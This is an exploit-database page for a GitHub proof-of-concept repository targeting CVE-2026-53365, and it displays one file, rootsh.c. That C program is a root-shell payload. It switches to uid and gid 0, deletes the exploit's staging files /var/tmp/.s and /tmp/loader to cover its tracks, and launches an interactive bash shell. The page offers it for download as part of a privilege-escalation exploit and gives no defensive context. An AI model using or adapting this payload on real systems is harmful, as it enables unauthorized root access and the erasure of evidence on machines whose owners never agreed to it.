Exploit database

GH-6a7b43acdc366628306453c55e5dcdfa

hackspeak/cve-2026-53365

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-53365

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
hackspeak/cve-2026-53365Revision 375f9c1f26c9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

rootsh.c

C · 536 bytes
#define _GNU_SOURCE
#include <unistd.h>

int main(void)
{
    setgid(0);
    if (setuid(0) != 0)
        return 3;                 /* not setuid-root -> don't fake a shell */

    unlink("/var/tmp/.s");
    unlink("/tmp/loader");

    char *argv[] = { "bash", "-i", 0 };
    char *envp[] = {
        "HOME=/root",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        "TERM=xterm",
        0,
    };
    execve("/bin/bash", argv, envp);
    execve("/bin/sh", argv, envp);   /* no bash? */
    return 1;
}